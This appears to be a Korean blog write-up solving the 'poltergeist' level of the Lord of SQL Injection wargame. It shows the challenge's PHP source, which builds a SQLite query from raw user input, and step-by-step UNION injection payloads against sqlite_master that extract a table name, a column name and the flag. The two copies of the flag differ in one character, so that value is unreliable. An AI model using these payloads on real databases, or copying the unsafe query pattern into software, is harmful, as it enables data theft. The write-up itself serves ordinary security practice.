<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
메타데이터를 이용하는 거 같아서 MySQL 방식으로 information_schema.tables를 이용하니 안된다.
SQLite는 메타데이터 이름이 다르다.
sqlite_master 테이블을 이용해 테이블 명과 칼럼 명을 알 수 있다.
테이블명 조회: select tbl_name from sqlite_master;
칼럼명 조회: select sql from sqlite_master;
대신 칼럼명 조회는 위의 예시 그대로 치면 모든 테이블의 칼럼들을 조회한다. 그리고 정확히는 테이블을 생성할 때 사용한 쿼리문이 나온다. 이로부터 칼럼명도 알 수 있다.
union select를 이용해 위의 쿼리문을 실행하면 결과는 다음과 같다.
1. ?pw=' union select group_concat(tbl_name) from sqlite_master --
Hello member,flag_70c81d99
group_concat(칼럼명)을 사용하면 해당 칼럼의 모든 데이터들이 , (쉼표)를 구분자로 하여 합쳐진 문자열이 반환된다.
SQLite에서 한 줄 주석은 --이며 블록 주석(여러 줄 주석)은 /**/이다.
1번 입력값을 대입한 결과 member와 flag_70c81d99 테이블이 있다는 것을 알 수 있다.
문제에서 falg_70c81d99에 Flag가 있다고 하니 계속 조회한다.
2. ?pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99' --
Hello CREATE TABLE `flag_70c81d99` ( `flag_0876285c` TEXT )
flag_0876285c 칼럼이 있다는 것을 알 수 있다.
3. ?pw=' union select flag_0876285c from flag_70c81d99 --
Hello FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}
FLAG가 나온다.
답: ?pw=FLAG{ea5d3bbdcc4aec9abe416a9f66eaaa13}
'Lord of SQL Injection' 카테고리의 다른 글
nessie (0) | 2023.01.06 |
---|---|
banshee (0) | 2023.01.05 |
manticore (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |